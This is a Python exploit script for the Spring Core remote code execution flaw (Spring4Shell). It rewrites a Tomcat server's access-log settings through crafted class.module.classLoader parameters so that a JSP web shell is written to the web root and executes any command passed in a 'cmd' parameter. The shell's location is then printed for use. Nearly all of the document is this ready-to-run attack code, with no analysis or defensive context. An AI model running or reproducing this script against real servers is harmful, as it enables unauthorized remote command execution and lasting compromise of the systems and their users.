# Author: @Rezn0k # Based off the work of p1n93r import requests import argparse from urllib.parse import urlparse import time # Set to bypass errors if the target site has SSL issues requests.packages.urllib3.disable_warnings() post_headers = { "Content-Type": "application/x-www-form-urlencoded" } get_headers = { "prefix": "<%", "suffix": "%>//", # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern "c": "Runtime", } def run_exploit(url, directory, filename): log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \ f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \ f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \ f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di" log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}" log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}" log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format]) # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" print("[*] Resetting Log Variables.") ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False) print("[*] Response code: %d" % ret.status_code) # Change the tomcat log location variables print("[*] Modifying Log Configurations") ret = requests.post(url, headers=post_headers, data=exp_data, verify=False) print("[*] Response code: %d" % ret.status_code) # Changes take some time to populate on tomcat time.sleep(3) # Send the packet that writes the web shell ret = requests.get(url, headers=get_headers, verify=False) print("[*] Response Code: %d" % ret.status_code) time.sleep(1) # Reset the pattern to prevent future writes into the file pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" print("[*] Resetting Log Variables.") ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False) print("[*] Response code: %d" % ret.status_code) def main(): parser = argparse.ArgumentParser(description='Spring Core RCE') parser.add_argument('--url', help='target url', required=True) parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell") parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app', required=False, default="webapps/ROOT") file_arg = parser.parse_args().file dir_arg = parser.parse_args().dir url_arg = parser.parse_args().url filename = file_arg.replace(".jsp", "") if url_arg is None: print("Must pass an option for --url") return try: run_exploit(url_arg, dir_arg, filename) print("[+] Exploit completed") print("[+] Check your target for a shell") print("[+] File: " + filename + ".jsp") if dir_arg: location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp" else: location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id" print(f"[+] Shell should be at: {location}?cmd=id") except Exception as e: print(e) if __name__ == '__main__': main()